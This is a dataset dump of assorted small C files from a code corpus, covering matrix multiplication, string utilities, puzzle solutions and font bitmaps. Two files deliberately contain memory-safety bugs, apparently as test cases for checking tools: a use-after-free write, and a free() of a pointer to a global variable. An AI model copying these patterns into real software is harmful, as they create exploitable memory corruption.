file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/51790.c | //O programa recebe uma string digitada pelo usuário, e apresenta essa string na forma inversa
//por Tiago Souza, 2020
#include <stdio.h>
#include <string.h>
#define MAXN 100
int main ()
{
char n[MAXN]; // palavra digitada
int i=0; // variável para o laço for
printf ("digite uma string \n");
scanf("%s", n);
for (i = strlen(n)-1; i >= 0; i--)
{
printf("%c", n[i]);
}
printf("\n");
return 0;
} |
the_stack_data/220457039.c | double add_number(double a)
{
return a+1000;
}
|
the_stack_data/154827002.c | /*
* Program: Speedup calculation of matrix multiplication with
* multi-processing and multi-threading.
* Author: Aditya Agarwal and Kushagra Indurkhya
* Roll# : CS19B1003 & CS19B1017
*/
#include <stdlib.h> /* for exit, atoi */
#include <stdio.h> /* for fprintf */
#include <errno.h> /* for error code eg. E2BIG */
#include <getopt.h> /* for getopt */
#include <assert.h> /* for assert */
#include <pthread.h>/* for threading */
#include <time.h> /* for time calculations */
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
/*
* Forward declarations
*/
void usage(int argc, char *argv[]);
void checkMultiplicable();
void init_matrix();
void allocateMemory();
void freeMemory();
void input_matrix(int *mat, int nrows, int ncols);
void output_matrix(int *mat, int nrows, int ncols);
void row_multiplier(int i);
unsigned long long single_thread_mm();
void *multi_thread_helper(void *arg);
unsigned long long multi_thread_mm();
void mult_process_helper(int i);
unsigned long long multi_process_mm();
int *A, *B, *C;
int crows, ccols;
int arows, acols, brows, bcols;
char interactive = 0;
int main(int argc, char *argv[])
{
int c;
/* Loop through each option (and its's arguments) and populate variables */
while (1) {
int this_option_optind = optind ? optind : 1;
int option_index = 0;
static struct option long_options[] = {
{"help", no_argument, 0, 'h'},
{"ar", required_argument, 0, '1'},
{"ac", required_argument, 0, '2'},
{"br", required_argument, 0, '3'},
{"bc", required_argument, 0, '4'},
{"interactive", no_argument, 0, '5'},
{0, 0, 0, 0 }
};
c = getopt_long(argc, argv, "h1:2:3:4:5", long_options, &option_index);
if (c == -1)
break;
switch (c) {
case 0:
fprintf(stdout, "option %s", long_options[option_index].name);
if (optarg)
fprintf(stdout, " with arg %s", optarg);
fprintf(stdout, "\n");
break;
case '1':
arows = atoi(optarg);
break;
case '2':
acols = atoi(optarg);
break;
case '3':
brows = atoi(optarg);
break;
case '4':
bcols = atoi(optarg);
break;
case '5':
interactive = 1;
break;
case 'h':
case '?':
usage(argc, argv);
default:
fprintf(stdout, "?? getopt returned character code 0%o ??\n", c);
usage(argc, argv);
}
}
if (optind != argc) {
fprintf(stderr, "Unexpected arguments\n");
usage(argc, argv);
}
unsigned long long time_single=0, time_multi_process=0, time_multi_thread=0;
/* Add your code here */
checkMultiplicable();
allocateMemory();
time_single = single_thread_mm();
time_multi_thread = multi_thread_mm();
time_multi_process = multi_process_mm();
//Printing time outputs
fprintf(stdout, "Time taken for single threaded: %llu us\n",
time_single);
fprintf(stdout, "Time taken for multi process: %llu us\n",
time_multi_process);
fprintf(stdout, "Time taken for multi threaded: %llu us\n",
time_multi_thread);
fprintf(stdout, "Speedup for multi process : %4.2f x\n",
(double)time_single/time_multi_process);
fprintf(stdout, "Speedup for multi threaded : %4.2f x\n",
(double)time_single/time_multi_thread);
freeMemory();
exit(EXIT_SUCCESS);
}
/*
* Show usage of the program
*/
void usage(int argc, char *argv[])
{
fprintf(stderr, "Usage:\n");
fprintf(stderr, "%s --ar <rows_in_A> --ac <cols_in_A>"
" --br <rows_in_B> --bc <cols_in_B>"
" [--interactive]\n",
argv[0]);
exit(EXIT_FAILURE);
}
/*
* Input a given 2D matrix
*/
void input_matrix(int *mat, int rows, int cols)
{
for (int i=0; i<rows; i++) {
for (int j=0; j<cols; j++) {
fscanf(stdin, "%d", mat+(i*cols+j));
}
}
}
/*
* Output a given 2D matrix
*/
void output_matrix(int *mat, int rows, int cols)
{
for (int i=0; i<rows; i++) {
for (int j=0; j<cols; j++) {
printf("%d ", *(mat+(i*cols+j)));
}
fprintf(stdout, "\n");
}
}
void checkMultiplicable()
{
if(acols != brows) exit(EXIT_FAILURE);
}
void allocateMemory(){
crows = arows;
ccols = bcols;
A = malloc(sizeof(int)*arows*acols);
B = malloc(sizeof(int)*brows*bcols);
C = malloc(sizeof(int)*crows*ccols);
}
void freeMemory(){
free(A);
free(B);
}
void init_matrix()
{
for(int i=0; i < (arows); i++)
for(int j=0; j < acols; j++)
A[j+(i*acols)] = rand()%10;
for(int i=0; i < (brows); i++)
for(int j=0; j < bcols; j++)
B[j+(i*bcols)] = rand()%10;
}
void row_multiplier(int i)
{
for(int j=0; j < ccols; j++){
C[i*ccols+j] = 0;
for(int k=0; k < brows; k++){
C[i*ccols+j] += A[i*acols+k]*B[k*bcols+j];
}
}
}
unsigned long long single_thread_mm()
{
if(interactive){
printf("Enter A:\n");
input_matrix(A, arows, acols);
printf("Enter B:\n");
input_matrix(B, brows, bcols);
} else {init_matrix();}
time_t start = clock(), end;
for(int i=0;i<crows;i++)
row_multiplier(i);
end = clock();
if(interactive) {
printf("Result:\n");
output_matrix(C, crows, ccols);
}
return (end-start)/1e3;
}
unsigned long long multi_thread_mm(){
if(interactive){
printf("Enter A:\n");
input_matrix(A, arows, acols);
printf("Enter B:\n");
input_matrix(B, brows, bcols);
} else {init_matrix();}
pthread_t threads[crows];
int rc;
long t;
for(t=0; t<crows; t++){
int th = pthread_create(&threads[t], NULL, multi_thread_helper, (void*)t);
if(th)
exit(EXIT_FAILURE);
}
time_t start = clock(),end;
for(int i=0; i<(crows); i++) pthread_join(threads[i], NULL);
end = clock();
if(interactive) {
printf("Result:\n");
output_matrix(C, crows, ccols);
}
return (end-start)/1e3;
}
void *multi_thread_helper(void *arg)
{
long t_arg = (long)arg;
row_multiplier((int)t_arg);
pthread_exit(NULL);
}
void mult_process_helper(int i)
{
row_multiplier(i);
}
unsigned long long multi_process_mm()
{
if(interactive){
printf("Enter A:\n");
input_matrix(A, arows, acols);
printf("Enter B:\n");
input_matrix(B, brows, bcols);
} else {init_matrix();}
time_t start=clock(),end;
int status = 0;
wait(NULL);
pid_t child_pid, wpid;
for (int id=0; id<crows; id++) {
if ((child_pid = fork()) == 0) {
mult_process_helper(id);
exit(0);
}
if(child_pid < 0){
exit(EXIT_FAILURE);
}
}
while ((wpid = wait(&status)) > 0);
end = clock();
if(interactive) {
printf("Result:\n");
output_matrix(C, crows, ccols);
}
return (end-start)/1e3;
} |
the_stack_data/167331487.c | #include <stdio.h>
int main() {
int i;
for(i = 0; i <= 100; i++) {
if (i % 3 == 0) {
printf("FIZZ");
}
if (i % 5 == 0) {
printf("BUZZ");
}
if ((i % 3 != 0) && (i % 5 != 0)) {
printf("%d", i);
}
printf("\n");
}
return 0;
}
|
the_stack_data/50418.c | #include <stdlib.h>
#include <string.h>
__attribute__((optimize(0)))
int main(void) {
char *p = malloc(128);
if (!p) {
return 1;
}
free(p);
p[65] = 'a';
// trigger reuse of the allocation
for (size_t i = 0; i < 100000; i++) {
free(malloc(128));
}
return 0;
}
|
the_stack_data/62637363.c | #include <stdio.h>
#include <stdlib.h>
#pragma warn -rvl /**< return value */
#pragma warn -par /**< parameter not used */
#pragma warn -rch /**< unreachable code */
int f1()
{
int a=5;
}
int f2(int x)
{
printf("inside f2");
}
int f3()
{
int x=6;return x;
x++;
}
int main()
{
f1();
f2(7);
f3;
return 0;
}
|
the_stack_data/96590.c | #include <stdbool.h>
#include <stdio.h>
#include <string.h>
#define ELEMENT_LEN 32
char *names[] = {"foo", "bar", "baz", "boo", "goo", NULL};
bool is_member(char *table[], char *element) {
bool rv = false;
for (int i = 0; table[i] != NULL; i++) {
if (strncmp(table[i], element, ELEMENT_LEN) == 0) {
rv = true;
break;
}
}
return rv;
}
void print_names(char *table[]) {
for (int i = 0; table[i] != NULL; i++) {
printf("names[%d] = %s\n", i, table[i]);
}
}
int main(int argc, char **argv) {
int rv;
print_names(names);
rv = is_member(names, "baz");
printf("is_member(names, \"baz\") = %d\n", rv);
rv = is_member(names, "goo");
printf("is_member(names, \"goo\") = %d\n", rv);
rv = is_member(names, "moo");
printf("is_member(names, \"moo\") = %d\n", rv);
return 0;
}
|
the_stack_data/131863.c | #ifdef UNDERSCORE
void linflo_main_( int argc, char *argv[] );
#else
void linflo_main( int argc, char *argv[] );
#endif
main( int argc, char *argv[] )
{
#ifdef UNDERSCORE
linfloanl_();
#else
linfloanl();
#endif
}
|
the_stack_data/1257655.c | void strncpy(char *s, char *t, int n)
{
while (*t && n-- > 0)
*s++ = *t++;
while (n-- > 0)
*s++ = '\0';
}
|
the_stack_data/175142417.c | //Classification: #specific_error/n/IVO/IVP/aS/non_dynamic/fr/ln
//Written by: Igor Eremeev
//Reviewed by: Sergey Pomelov
//Comment: free pointer to non-dynamical memory
#include <stdlib.h>
#include <stdio.h>
int a;
int *func ()
{
int *p = &a;
return p;
}
int main(void)
{
int *p;
a = 10;
p = func();
printf ("%d", *p);
free(p);
return 0;
}
|
the_stack_data/67326489.c | /*
You are given two non-empty arrays A and B consisting of
N integers. Arrays A and B represent N voracious fish in
a river, ordered downstream along the flow of the river.
The fish are numbered from 0 to N − 1. If P and Q are two
fish and P < Q, then fish P is initially upstream of fish Q.
Initially, each fish has a unique position.
Fish number P is represented by A[P] and B[P]. Array A
contains the sizes of the fish. All its elements are unique.
Array B contains the directions of the fish. It contains only 0s and/or 1s, where:
0 represents a fish flowing upstream,
1 represents a fish flowing downstream.
If two fish move in opposite directions and there are no other (living)
fish between them, they will eventually meet each other. Then
only one fish can stay alive − the larger fish eats the smaller one.
More precisely, we say that two fish P and Q meet each other
when P < Q, B[P] = 1 and B[Q] = 0, and there are no living fish between
them. After they meet:
If A[P] > A[Q] then P eats Q, and P will still be flowing downstream,
If A[Q] > A[P] then Q eats P, and Q will still be flowing upstream.
We assume that all the fish are flowing at the same speed. That is,
fish moving in the same direction never meet. The goal is to
calculate the number of fish that will stay alive.
Write a function that, given two non-empty arrays A and B consisting of
N integers, returns the number of fish that will stay alive.
For example, consider arrays A and B such that:
A[0] = 4 B[0] = 0
A[1] = 3 B[1] = 1
A[2] = 2 B[2] = 0
A[3] = 1 B[3] = 0
A[4] = 5 B[4] = 0
Initially all the fish are alive and all except fish number 1 are
moving upstream. Fish number 1 meets fish number 2 and eats it,
then it meets fish number 3 and eats it too. Finally, it meets
fish number 4 and is eaten by it. The remaining two fish, number 0
and 4, never meet and therefore stay alive.
For example, given the arrays shown above,
the function should return 2.
*/
int solution(int A[], int B[], int N) {
int stackup[N];
int fish=0;
int i,k;
for(i=0;i<N;i++)
stackup[i]=0;
k=0;
for(i=(N-1);i>=0;i--){
if(B[i]==1 && k==0){
fish++;
}else if(B[i]==1 && k!=0){
while(k>0 && A[i]>stackup[k]){
k--;
}
if(k==0)
fish++;
}else if(B[i]==0){
k++;
stackup[k]=A[i];
}
}
return fish+k;
}
|
the_stack_data/248580869.c | /*
Tempo Sequencial:
Length of Longest Common Substring is 14
real 0m3,049s
user 0m2,584s
sys 0m0,459s
Length of Longest Common Substring is 14
real 0m3,047s
user 0m2,704s
sys 0m0,336s
Length of Longest Common Substring is 14
real 0m3,046s
user 0m2,618s
sys 0m0,423s
Length of Longest Common Substring is 14
real 0m3,016s
user 0m2,602s
sys 0m0,409s
Length of Longest Common Substring is 14
real 0m3,012s
user 0m2,577s
sys 0m0,429s
Tempo paralelo
Length of Longest Common Substring is 14
real 0m1,598s
user 0m2,706s
sys 0m0,417s
Length of Longest Common Substring is 14
real 0m1,647s
user 0m2,736s
sys 0m0,469s
Length of Longest Common Substring is 14
real 0m1,631s
user 0m2,772s
sys 0m0,413s
Length of Longest Common Substring is 14
real 0m1,698s
user 0m2,809s
sys 0m0,463s
Length of Longest Common Substring is 14
real 0m1,652s
user 0m2,792s
sys 0m0,425s
Speedup ~= 1.9080100125156445
*/
/* Dynamic Programming solution to find length of the
longest common substring
Adapted from http://www.geeksforgeeks.org/longest-common-substring/
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <omp.h>
// Read input files
char *readFile(char *filename, int *size)
{
char *buffer = NULL;
*size = 0;
/* Open your_file in read-only mode */
FILE *fp = fopen(filename, "r");
/* Get the buffer size */
fseek(fp, 0, SEEK_END); /* Go to end of file */
*size = ftell(fp); /* How many bytes did we pass ? */
/* Set position of stream to the beginning */
rewind(fp);
/* Allocate the buffer (no need to initialize it with calloc) */
buffer = malloc((*size + 1) * sizeof(*buffer)); /* size + 1 byte for the \0 */
/* Read the file into the buffer */
int err = fread(buffer, *size, 1, fp); /* Read 1 chunk of size bytes from fp into buffer */
/* NULL-terminate the buffer */
buffer[*size] = '\0';
/* Print it ! */
// printf("%s\n", buffer);
return (buffer);
}
// A utility function to find maximum of two integers
int max(int a, int b)
{
return (a > b) ? a : b;
}
/* Returns length of longest common substring of X[0..m-1]
and Y[0..n-1] */
int LCSubStr(char *x, char *y, int m, int n)
{
// Create a table to store lengths of longest common suffixes of
// substrings. Notethat LCSuff[i][j] contains length of longest
// common suffix of X[0..i-1] and Y[0..j-1]. The first row and
// first column entries have no logical meaning, they are used only
// for simplicity of program
int **LCSuff = (int **)malloc((m + 1) * sizeof(int *));
for (int i = 0; i < m + 1; i++)
LCSuff[i] = (int *)malloc((n + 1) * sizeof(int));
int result = 0; // To store length of the longest common substring
/* Following steps build LCSuff[m+1][n+1] in bottom up fashion. */
#pragma omp target map(tofrom:result) map(tofrom:LCSuff[0:m+1])
#pragma omp teams distribute parallel for reduction(max:result) collapse(2) schedule(guided)
for (int i = 0; i <= m; i++)
{
for (int j = 0; j <= n; j++)
{
if (i == 0 || j == 0)
LCSuff[i][j] = 0;
else if (x[i - 1] == y[j - 1])
{
LCSuff[i][j] = LCSuff[i - 1][j - 1] + 1;
result = max(result, LCSuff[i][j]);
}
else
LCSuff[i][j] = 0;
}
}
return result;
}
/* Driver program to test above function */
int main()
{
int m, n;
char *x = readFile("seqA.txt", &m);
char *y = readFile("seqB.txt", &n);
printf("\nLength of Longest Common Substring is %d\n", LCSubStr(x, y, m, n));
return 0;
} |
the_stack_data/20451368.c | int Inbits[]={
/*space*/
0x0,
/*exclam*/
0x70007,0xf000f,0xe000f,0xe000e,0x1c001c,
0x18001c,0x180018,0x100018,0x10,0x700000,0xf000f0,
0xf0,
/*quotedbl*/
0xc071c071,0xc0f3c071,0x80e380e3,0xc300c3,0xc30000,
/*numbersign*/
0x1008601,0x86010086,0xc0300,0x3000c03,0x806000c,
0x80ff3f00,0xc80ff3f,0x380c0038,0x300c00,0x1800700c,0xfcff0070,
0xfcff00,0x30004030,0xc03000c0,0xc03000,0x61008061,0x80610080,
0x0,
/*dollar*/
0x30003000,0x3c07f003,0x661c3e0e,0x621c621c,0xc01f401e,
0xc007c00f,0xe001c003,0xf801f001,0xbc01fc01,0x1c433c01,0x1cc31c43,
0x38f338e3,0xc01f707a,0xc000e,0xc,
/*percent*/
0x70c007,0xe0e11e,0xe07f3c,0xc02078,0xc02170,
0x8021f0,0x63f0,0x67e0,0x66e0,0xcce0,0x7e9c73,
0xf7183f,0xe33900,0xc13300,0x816300,0x81e700,0x83c700,
0x38701,0x68703,0x40703,0x9c0307,0xf80106,0xc,
0x0,
/*ampersand*/
0x1f00,0x71008033,0x80e10080,0x80e300,0xe70080e3,
0xfe0000,0xf800,0xf00300f0,0xfcf10f00,0x3870701c,0x78706078,
0xc03cf0c0,0xe0803de0,0x1ff0801f,0xff000,0x7f8c3ffc,0x813ff8f7,
0xe0,
/*quoteright*/
0x38383838,0xc0203018,0xc0203000,
/*parenleft*/
0x18000,0x60003,0xc000e,0x38001c,0x700038,
0xf00070,0xe000e0,0xe000e0,0xc000c0,0xc000c0,0xc000c0,
0x6000e0,0x600060,0x200020,0x200000,
/*parenright*/
0x60004,0x30006,0x30003,0x80018001,0x80018001,
0x80018001,0x80038003,0x80038003,0x80078003,0x78007,0xe0007,
0xc000e,0x300018,0x600030,0xc0,
/*asterisk*/
0x70007,0x38e70007,0xf8fa78f2,0x7c01f,0xf8fac01f,
0x38e778f2,0x70007,0x7,
/*plus*/
0x1008001,0x80010080,0x800100,0x1008001,0x80010080,
0xffff00,0x100ffff,0x80010080,0x800100,0x1008001,0x80010080,
0x800100,0x0,
/*comma*/
0x30787870,0xc06070,
/*hyphen*/
0xff00ff,0xff0000,
/*period*/
0xf0f0f0,
/*slash*/
0x80018001,0x38001,0x60003,0x60006,0xc000c,
0x18000c,0x180018,0x300030,0x600030,0xc00060,0xc000c0,0xc00000,
/*zero*/
0x9c03f801,0xf0e0e07,0x71c070e,0x738073c,0x7780778,
0xff00f70,0xef00ff0,0x1ef01ef0,0x3ce01ce0,0x70f038e0,0xc0396070,
0x801f,
/*one*/
0xf007f000,0xf0007000,0xe000e000,0xe001e000,0xc001c001,
0x8003c003,0x80078003,0x70007,0xf0007,0xe000e,0x1e000e,
0xc0ff,
/*two*/
0xf807f003,0x7e1cfc0f,0x1e201e30,0xe000e00,0x1c001e00,
0x30003800,0xc0006000,0x38001,0xc0006,0x1c300418,0xf8fff87f,
0xf8ff,
/*three*/
0xfc03f800,0xe041e07,0xe000e00,0x3c001c00,0xe0037000,
0xf003e00f,0x7800f800,0x38007800,0x38003800,0x60007000,0xc0fbe0f0,
0xff,
/*four*/
0xe000600,0x3c001e00,0xdc007c00,0x1c019c01,0x38061803,
0x3818380c,0x38203830,0xfcff3060,0xfc01fcff,0xc001c001,0x8003c003,
0x8003,
/*five*/
0x180ff00,0xff0180ff,0x380,0x7000003,0xc0070000,
0xf00700,0x100f807,0x7c0000f8,0x3c0000,0x1c00,0xc00000c,
0xc0000,0xc00,0x1800001c,0x300000,0xff00e0f0,0x7e0080,
0x0,
/*six*/
0xf00,0xe0000038,0xc00300,0xf008007,0x1e0000,
0x3c00,0x7c00f03f,0x387800f8,0x3c7000,0xf0001cf0,0x1cf0001c,
0x3cf000,0xe0003ce0,0x38e0003c,0x78f000,0x39007070,0x801f00e0,
0x0,
/*seven*/
0x3f00ff3f,0xfe7f00ff,0xee000,0x1c80,0x3800001c,
0x700000,0x7000,0xc00000e0,0xc00100,0x3008003,0x70080,
0xe00,0x1c00000e,0x1c0000,0x3800,0x70000070,0xe00000,
0x0,
/*eight*/
0x780ff007,0x1c181c1c,0xc180c18,0x1c1c1c1c,0xc007780f,
0xf01fe007,0x7870f038,0x38e038e0,0x18c018c0,0x38e018e0,0xe0387070,
0xc01f,
/*nine*/
0x380ff003,0x1e1c1c0e,0xe780e38,0xe700e78,0x1e701e70,
0x1e781e78,0x7c3c1c78,0xf80ffc1f,0xf0007800,0xc007e001,0x7c000f,
0xf0,
/*colon*/
0x1c001c,0x1c,0x0,0x0,0x0,
0xe000e0,0xe0,
/*semicolon*/
0xe000e,0xe,0x0,0x0,0x0,
0x780078,0x300078,0x600030,0xc0,
/*less*/
0x800100,0x3f00800f,0xfc0000,0xf00f003,0x7e0080,
0xf800,0xf80000e0,0x7e0000,0x800f00,0xf003,0x3f0000fc,
0x800f0000,0x800100,0x800000,
/*equal*/
0xff80ffff,0x80ff,0x0,0x0,0xffff0000,
0x80ffff80,0x80000000,
/*greater*/
0xf00000c0,0xfc0000,0x801f00,0x100e007,0x3f0000f8,
0x800f0000,0x800300,0x3f00800f,0xf80100,0x1f00e007,0xfc0080,
0xf000,0xc0,0x0,
/*question*/
0xc019800f,0x6038e030,0x60386038,0xe000e000,0x8003c001,
0xe0007,0x18000c,0x300010,0x30,0xe00000,0xf000f0,
0xe0,
/*at*/
0xf81f00,0x3e7e00,0x8003e001,0x80008001,0xc0008003,
0x60000007,0x20fe030e,0x303e071c,0x301e0c3c,0x101c1c38,0x101c3878,
0x103c7070,0x303870f0,0x3038e0f0,0x6078e0e1,0x6070c0e1,0xc0f0c0e1,
0x80f1c1e1,0xe7e7f1,0xfefef1,0xf8f870,0x38,0x3c,
0xe,0x8007,0x1ff801,0xfe3f00,0x0,
/*A*/
0x300,0x7000003,0x800f0080,0x800f00,0x3b00801f,
0xc0330080,0xc07300,0xc300c063,0xc0c301c0,0x3c08101,0x103e0ff,
0xe00106e0,0xce0010e,0x11ce001,0xf0001ce0,0xfef00138,0xf807,0xf800,
/*B*/
0x180ff07,0xc101c0e3,0xf0c003e0,0x3f0c003,0x8007f0c0,
0xf08107f0,0x7e08107,0xfe0fc09f,0xf0f00,0xf80070f,0x30ec007,
0xc0031ec0,0x1ec0031e,0x71ec007,0x800f3c80,0xff003e3e,0xfc,0x0,
/*C*/
0x1c83f00,0xf003f8ff,0x388007f8,0x1e38000f,0x3c3800,
0x7c10,0x78000078,0xf80000,0xf800,0xf00000f0,0xf00000,
0xf000,0xf80000f8,0x17cc000,0xf3f80,0x700fe1f,0xf8,0x0,
/*D*/
0xc0ff07,0xf0e301,0x38e001,0x3cc003,0x1ec003,
0x1ec003,0xfc003,0xf8007,0xf8007,0xf8007,0xf8007,
0xf000f,0x1f000f,0x1f000f,0x3e000f,0x3c001e,0x78001e,
0xf0001e,0xe0011e,0xc0033c,0x3f3e,0xfcff,0x0,
/*E*/
0x1f8ff07,0xc00378e0,0x10c00318,0x310c003,0x800700c0,
0x830700,0xf008307,0xfe0f0007,0xe0f00,0xe00060f,0xc1e000c,
0x1e00,0x1e60001e,0x1e6000,0xc0013cc0,0xffc00f3c,0x80ff,0x8000,
/*F*/
0x1f8ff07,0xc00138e0,0x10c00318,0x310c003,0x800700c0,
0x80810700,0x7808107,0xff0f0003,0xf0f00,0xf00060f,0x60e0006,
0x1e00,0x1e00001e,0x1e0000,0x1c00,0xff00001c,0x80,0x0,
/*G*/
0x1cc7f00,0xc007fcf1,0x38000f7c,0x3e38001e,0x3c1800,
0x7c10,0xf8000078,0xf80000,0xfe07f800,0xf0f001f0,0x1f0f000,
0xe001f0f0,0x78e001f8,0x378e001,0xc0033cc0,0x7c09f1f,0xfe,0x0,
/*H*/
0x803ff007,0xec001,0xec001,0x1ec003,0x1ec003,
0x1ec003,0x3c8007,0x3c8007,0x3c8007,0x3c0007,0xf8ff07,
0x38000f,0x78000f,0x78000f,0x78000f,0x70001e,0xf0001e,
0xf0001e,0xf0001e,0xe0001c,0xe0001c,0xfc87ff,0x0,
/*I*/
0xe003f007,0xc003c001,0xc003c003,0x8007c003,0x80078007,
0xf8007,0xf000f,0x1e000f,0x1e001e,0x1c001e,0x80ff003e,0x80ff0000,
/*J*/
0xc0ff00,0x1c00003e,0x3c0000,0x3c00,0x7800003c,
0x780000,0x7800,0xf00000f0,0xf00000,0x100e001,0xe00100e0,
0xc00100,0xe300c003,0x80e300c0,0x80e700,0x7c0000e7,0x0,0x0,
/*K*/
0x807ffe07,0x1ef000,0x38e000,0x70e001,0xe0e001,
0xc0e301,0xc703,0xce03,0xfc07,0xf807,0xf807,
0x3c0f,0x3c0f,0x1e0f,0x1f0f,0xf0e,0x800f1e,
0x80071e,0xc0031e,0xc0031c,0xe0013e,0xfc8fff,0x0,
/*L*/
0x100fc07,0xc00100e0,0xc00300,0x300c003,0xc00300c0,
0x800700,0x7008007,0x80070080,0xf00,0xf00000f,0xf0000,
0x1e00,0x1e20001e,0x1e6000,0xc0003c60,0xffc0033e,0xc0ff,0xc000,
/*M*/
0xfc01f007,0xf001f000,0xf003f001,0xe007f001,0xe007f001,
0xe00df003,0xc01d7003,0xc01b7003,0xc0337802,0xc0737806,0x80637806,
0x80e77806,0x80c7790c,0x8087390c,0x80873b0c,0xf3f18,0xf3e18,
0xf3e18,0xf3c18,0x1e3810,0x1f3838,0xc0ff30fe,0x0,
/*N*/
0x7fc00f,0xcc003,0x8e001,0x18e003,0x18e003,
0x18f003,0x18f006,0x307006,0x307806,0x303806,0x303c04,
0x601c0c,0x601e0c,0x600e0c,0x600f08,0xc00718,0xc00718,
0xc00718,0xc00318,0x800310,0x800138,0x8001fe,0x0,
/*O*/
0xc03f00,0xc001f0f1,0x78800378,0xf3c0007,0x1e3c00,
0x3c003c3c,0x7c3c007c,0xf87c00,0x7c00f87c,0xf87800f8,0xf0f800,
0xe001f0f0,0xf0e001f0,0x778c003,0xf7880,0xf003c3e,0xf0,0x0,
/*P*/
0x180ff07,0xc103e0e3,0xf0c003f0,0x3f0c003,0x8107f0c0,
0xe08107f0,0xfc08307,0xfe0f803f,0xf00,0xf00000f,0x1e0000,
0x1e00,0x1e00001e,0x1e0000,0x1c00,0xff00003c,0x80,0x0,
/*Q*/
0x803f00,0xf103e0ff,0x78c007f0,0x1f78000f,0x1e3c00,
0x3c003c3c,0x7c3c007c,0xf83c00,0x7c00f87c,0xf87800f8,0xf0f800,
0xf001f0f0,0xf0e001f0,0x770c003,0xf7880,0x1f003e3e,0xc00700f8,
0x600,0x3f18801f,0xff7f70f8,0xc0ffe3e0,0x3f00,0x0,
/*R*/
0xc0ff07,0xe001e0f1,0x78e001f0,0x178e001,0xc00378e0,
0xf8c003f8,0x3f0c103,0xff07e087,0xbe0780,0xf009e07,0xf0f001e,
0xf0f00,0x1e800f1e,0x71e8007,0xc0031c80,0xffc0033c,0xf083,0xf000,
/*S*/
0xff03f801,0x70f8f07,0x20e030e,0xf020f,0xc007800f,
0xf003e003,0xf800f001,0x3c007c00,0x1c403c40,0x3ce01ce0,0xf0fd78f0,
0xe09f,
/*T*/
0xf0e0ff7f,0xe0e1e0e0,0x40e0c160,0x140e081,0xc00300e0,
0xc00300,0x300c003,0x800300c0,0x800700,0x7008007,0x80070080,
0xf00,0xf00000f,0xf0000,0x1e00,0xff00001e,0xc0,0x0,
/*U*/
0xffe07f,0x38801f,0x18000f,0x30001e,0x30001e,
0x30001e,0x60003c,0x60003c,0x60003c,0xc00078,0xc00078,
0xc00078,0x8001f0,0x8001f0,0x8001f0,0x8001e0,0x3e0,
0x3e0,0x6f0,0x1e7e,0xf83f,0xf00f,0x0,
/*V*/
0x3ef883ff,0x3c7000,0xc0001ce0,0x1ec0011e,0x31e8001,
0x71e00,0x1e00061e,0x1c1e000c,0x181e00,0xe00380e,0x600f0030,
0xe00f00,0xf00c00f,0x800f0080,0xf00,0x6000006,0x0,0x0,
/*W*/
0xf8e1bfff,0x70800f3e,0xe0000f3c,0xc000071c,0xc001071c,
0x8081071e,0x80830f1e,0x830f1e,0x861f1e,0x861f1e,0x8c371e,
0x8c370e,0x98670e,0x98630e,0xf0c30f,0xf0c30f,0xe0830f,
0xe0830f,0xc0030f,0x800307,0x800306,0x306,0x0,
/*X*/
0x7fcf11f,0x8003f0c0,0xc0c103e0,0x380c103,0xe70100c3,
0xee0100,0xfc00,0xf00000f8,0xf80000,0x100f800,0xbc0300f8,
0x3c0700,0xc001e06,0x1e1c001e,0xf3800,0xfc000f70,0xc03f,0xc000,
/*Y*/
0x1ee0877f,0x31e8001,0x71f00,0xf000e1f,0x180f000c,
0x380f00,0x7007007,0xc00700e0,0xc00300,0x7008007,0x80070080,
0x800700,0xf00000f,0xf0000,0x1e00,0xff00001e,0xc0,0x0,
/*Z*/
0x1ff0ff0f,0x118f000,0xc00318e0,0xc00710,0xf00800f,
0x1e0000,0x3c00,0x7800007c,0xf00000,0x300e001,0xc00700e0,
0x800700,0x1e20000f,0x3e6000,0xc0017cc0,0xffc0fff8,0x80ff,0x8000,
/*bracketleft*/
0x8003f003,0x70007,0x70007,0xe0006,0xe000e,
0x1c000e,0x1c001c,0x18001c,0x380038,0x380038,0x700030,
0x700070,0xe00070,0xfc00e0,0xfc0000,
/*backslash*/
0x60c0c0c0,0x30306060,0x18181830,0xc0c0c18,0x3060606,0x3000303,
/*bracketright*/
0x7000f003,0xe0007000,0xe000e000,0xc000e000,0xc001c001,
0xc001c001,0x80038001,0x80038003,0x78003,0x70007,0x60007,
0xe000e,0xe000e,0xfc001c,0xfc0000,
/*asciicircum*/
0x100c001,0xe00300c0,0xe00300,0x6007007,0x380e0030,
0x1c1c00,0x38001c1c,0x630000e,0x77000,0xe08003e0,0x8003,0x8000,
/*underscore*/
0xffc0ffff,0x80ff,0x8000,
/*quoteleft*/
0x200010,0xc00060,0xf000f0,0xf000f0,0xf00000,
/*a*/
0x9f03f700,0xe0e0f07,0x1e380e1c,0x3c701c78,0x78e03cf0,
0xfae078e0,0x7c7ff6f1,0x707c,
/*b*/
0x3e003e,0x1c000e,0x1c001c,0x18001c,0xf83bf038,
0x3c3c3c3e,0x1c701c78,0x3c703c70,0x38e038e0,0xe0e070e0,0x80c7c0c1,
0x7e,
/*c*/
0x3807f003,0x3838381c,0x700038,0xf00070,0xe000e0,
0x20f000e0,0xc07960f0,0x3f,
/*d*/
0x800f00,0x300800f,0x70080,0x700,0x7000007,
0x70000,0x300fe00,0xe0700de,0xe0e00,0x38000c1c,0x1c70001c,
0x1c7000,0xe00038f0,0x7be00038,0xfae000,0x7f00b6f3,0x383e003c,
0x0,
/*e*/
0x7807f001,0x781c380e,0xf0787038,0x80ffc071,0xe000fc,
0x60e000e0,0x807fc0f8,0x3e,
/*f*/
0xe00300,0xc00e006,0xe01c00e0,0x1800,0x38000038,
0x380000,0x300fe03,0xfc0000fe,0xe00000,0xe000,0xc00000e0,
0xc00100,0x100c001,0xc00100c0,0x800300,0x3008003,0x80030080,
0x700,0x7000007,0xc60000,0xee00,0x780000ec,0x0,0x0,
/*g*/
0x9f03f801,0xe1e0f0f,0x1e1c0e1e,0x3c1c1e1c,0xf007380e,
0x1e000e,0xf01fc01f,0x3860f833,0x18c038e0,0x30e018c0,0xc01fe078,0xc01f0000,
/*h*/
0x1f001f,0xe0007,0xe000e,0xc000e,0x781c701c,
0x381dd81c,0x383e383b,0x303c383c,0x70787038,0xf4707070,0xf8e0ece0,
0xf0e0,
/*i*/
0xe0e0e0e,0x7c000000,0x38381c7c,0x70303838,0xecf47070,0xec00f0f8,
/*j*/
